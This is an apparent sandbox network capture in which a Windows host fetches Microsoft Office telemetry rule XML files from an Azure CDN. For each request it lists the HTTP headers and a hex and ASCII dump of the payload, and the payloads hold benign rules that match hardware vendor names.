Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.4	49745	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:00 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:00 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:00 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: da60be55-301e-0099-21b0-376683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200400Z-16547b76f7fsq6p7hC1DFWfx6800000004u00000000036t6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:00 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.4	49743	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:00 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:00 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:00 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: fc33b24f-c01e-00a2-3209-372327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200400Z-16547b76f7fhv4d5hC1DFW7h0n00000004q0000000007nfz x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:00 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.4	49744	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:00 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:00 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:00 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: c0944ef9-c01e-007a-107c-37b877000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200400Z-164f84587bf6n6jwhC1DFW90fn00000005kg000000003m6g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:00 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.4	49747	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:00 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:00 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:00 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: e210d223-001e-0049-40d2-375bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200400Z-16547b76f7fqqjnnhC1DFWxv7400000004kg00000000ezdt x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:00 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.4	49746	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:00 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:00 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:00 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 0c33812d-401e-005b-6489-389c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200400Z-164f84587bfghdt4hC1DFWu5nn0000000650000000003xps x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:00 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.4	49750	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:01 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:01 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:01 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 7749a706-f01e-005d-3209-3713ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200401Z-16547b76f7fp6s5dhC1DFWe28g00000003e000000000usyr x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:01 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.4	49749	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:01 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:01 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:01 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: ccb6a3a7-001e-0017-1ab5-370c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200401Z-1866b5c5fbbfkdfghC1DFW4sv400000005b000000000p9kt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:01 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.4	49751	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:01 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:01 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:01 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: 7d8b8a82-001e-0066-1ad2-37561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200401Z-16547b76f7fr5rfnhC1DFW0am400000003tg000000007z79 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:01 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.4	49752	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:01 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:01 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:01 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: 4cebb1d6-301e-0099-6509-376683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200401Z-16547b76f7fm8pcwhC1DFWaxcc000000049g00000000u2ux x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:01 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.4	49748	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:01 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:01 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:01 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 7251505b-c01e-008d-4c79-372eec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200401Z-164f84587bfbvgrghC1DFWbs7w000000067000000000kz5y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:01 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.4	49755	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:02 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:02 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:02 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: b838fa63-a01e-001e-2d9b-3849ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200402Z-1866b5c5fbbwlv6nhC1DFWw4bs00000004v00000000008n3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:02 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.4	49756	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:02 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:02 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:02 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: e43e0d6e-f01e-0099-649d-379171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200402Z-16547b76f7fd77jrhC1DFWfwq000000002wg00000000rk1d x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:02 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: 